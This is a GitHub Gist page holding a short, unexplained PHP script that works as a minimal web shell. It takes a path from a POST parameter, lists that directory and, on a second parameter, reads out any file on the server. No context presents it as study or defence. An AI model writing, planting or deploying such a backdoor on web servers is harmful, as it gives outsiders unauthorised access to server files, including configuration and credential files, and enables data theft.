Skip to content

Instantly share code, notes, and snippets.

@laztname
Created April 24, 2024 13:00
Show Gist options
  • Save laztname/1da7b0e5d4c91863d35bc29f0f0f7199 to your computer and use it in GitHub Desktop.
Save laztname/1da7b0e5d4c91863d35bc29f0f0f7199 to your computer and use it in GitHub Desktop.
<?php
if (isset($_POST['_'])) {
$path = $_POST['_'];
if (isset($path)) {
var_dump(scandir($path));
}
if (isset($path) && isset($_POST['r']) && file_exists($path)) {
readfile($path);
var_dump(file_get_contents($path));
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment